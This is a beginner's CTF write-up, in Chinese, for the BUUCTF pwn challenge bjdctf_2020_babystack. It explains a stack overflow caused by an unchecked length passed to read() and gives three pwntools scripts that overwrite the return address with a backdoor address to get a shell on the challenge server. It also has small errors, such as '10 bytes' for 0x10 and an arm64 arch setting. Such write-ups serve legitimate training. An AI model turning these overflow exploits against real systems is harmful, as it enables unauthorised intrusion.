buu bjdctf_2020_babystack
程序分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
//scanf来输入一个数字,把这个数字作为之后read中的数据MAX大小
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
//fd:文件描述符,用来指向要操作的文件的文件结构体
//buf:一块内存空间
//count:希望读取的字节数,这里nbyte就是count,同时这里nbyte是无符号整形,能进行整形溢出
//无符号整数,在无符号整数出现变化的时候,会出现整数溢出
return 0;
}
//运行的时候,会有两次输入,第一次输入nbytes,之后第二次输入的截取你nbytes个,之后就继续往下找/bin/sh的位置
解题思路
寻找合适偏移量
从buf开始写入数据,要先把原本的数据填满,buf那里的数据填满需要10个字节,之后覆盖掉ret,需要额外用8个字节,所以是0x10+0x08
找/bin/sh
这里找字符串可以直接用shift+F12去找,找函数地址可以直接在ida左侧地址栏寻找,或者ROPgadget都行
话说text段是代码段,data段是数据段,要找函数地址比如system,backdoor可以去代码段找,想找字符串比如system参数/bin/sh时,就得去数据段data找
backdoor函数地址
/bin/sh地址
ps:当然,这里地址也可以直接在python中一步步找
在python3中输入
from pwn import*
io = ()
elf =ELF()
elf.symbols["backdoor"]
EXP
解法一
from pwn import*
p = remote('node4.buuoj.cn',29028)
sys = 0x4006E6 //0x4006EA也可以
//elf = ELF()
//backdoor = elf.symbols["backdoor"]
p.sendlineafter("[+]Please input the length of your name:",'200')
payload =b'a'*(0x10+0x8) + p64(sys)
p.sendlineafter("[+]What's u name?",payload)
p.interactive()
解法二
因为本题中nbytes是一个无符号数,因此可以输入一个-1来得到一个很大的数
from pwn import*
p = remote('node4.buuoj.cn',29028)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a'*(0x10+0x8) + p64(0x4006E6) //改成4006EA这里就打不通了哦
p.recv()
p.sendline(b'-1')
p.recv()
p.sendline(payload)
p.interactive()
解法二的另一种姿势
from pwn import*
p = remote('node4.buuoj.cn',29028)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a'*(0x10+0x8) + p64(0x4006E6)
p.sendlineafter("[+]Please input the length of your name:",b'-1')
p.sendlineafter("[+]What's u name?",payload)
p.interactive()
初次发文,很多地方做的不足,还望各位大佬多多指点